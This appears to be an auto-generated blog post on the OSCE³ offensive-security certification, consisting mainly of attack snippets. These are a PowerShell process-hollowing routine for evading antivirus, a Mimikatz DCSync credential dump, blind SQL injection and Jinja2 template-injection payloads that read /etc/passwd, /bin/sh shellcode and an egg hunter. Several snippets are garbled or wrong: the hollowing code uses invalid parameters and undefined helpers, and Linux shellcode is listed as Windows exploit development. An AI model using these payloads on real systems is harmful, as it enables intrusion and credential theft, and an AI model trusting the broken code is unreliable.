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Earning the Offensive Security Certified Expert 3 (OSCE³) is a monumental achievement in the cybersecurity field. This certification encompasses three elite credentials: OSEP (Offensive Security Experienced Penetration Tester), OSWE (Offensive Security Web Expert), and OSED (Offensive Security Exploit Developer). Each represents mastery in different domains—advanced penetration testing, web exploitation, and exploit development.
You Should Know: Essential Commands and Techniques
1. OSEP – Advanced Penetration Testing & Evasion
- Process Hollowing (Evading AV)
Create a suspended process $proc = Start-Process -FilePath "C:\Windows\System32\notepad.exe" -WindowStyle Hidden -PassThru -Suspended Allocate memory in target process $mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4096) Write shellcode [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length) Hollow and execute $hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupAPICall "NtCreateThreadEx"), (Get-Type "NtCreateThreadEx")) $hThread.Invoke($proc.Handle, 0, 0, $mem, 0, 0, 0)
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Active Directory Exploitation (DCSync Attack)
Using Mimikatz mimikatz lsadump::dcsync /domain:corp.local /user:Administrator
2. OSWE – Web Application Exploitation
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SQL Injection (Time-Based Blind)
SELECT IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0);
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Server-Side Template Injection (SSTI)
Exploiting Jinja2 SSTI {{ ''.<strong>class</strong>.<strong>mro</strong>[bash].<strong>subclasses</strong>()[408]('cat /etc/passwd', shell=True, stdout=-1).communicate() }}
3. OSED – Windows Exploit Development
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Buffer Overflow (Stack-Based)
; Example shellcode (x86) xor eax, eax push eax push 0x68732f2f ; "//sh" push 0x6e69622f ; "/bin" mov ebx, esp mov ecx, eax mov edx, eax mov al, 0xb int 0x80
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Egg Hunting (Memory Searching)
; Search for "EGG" tag in memory start: or dx, 0xfff next_addr: inc edx push edx push 0x2 pop eax int 0x2e cmp al, 0xc0 jz start mov eax, 0x47474745 ; "EGGG" mov edi, edx scasd jnz next_addr jmp edi
What Undercode Say
The OSCE³ represents the pinnacle of offensive cybersecurity expertise. Mastering OSEP, OSWE, and OSED requires deep knowledge of Windows/Linux internals, exploit development, and web app security. Practicing these techniques in labs (like HTB, VulnHub, or OffSec Proving Grounds) is essential.
Expected Output:
- A fully weaponized exploit bypassing modern defenses.
- A reverse shell from a compromised web app.
- A privilege escalation chain in an AD environment.
For further study:
References:
Reported By: Ivanspiridonov Osce3 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
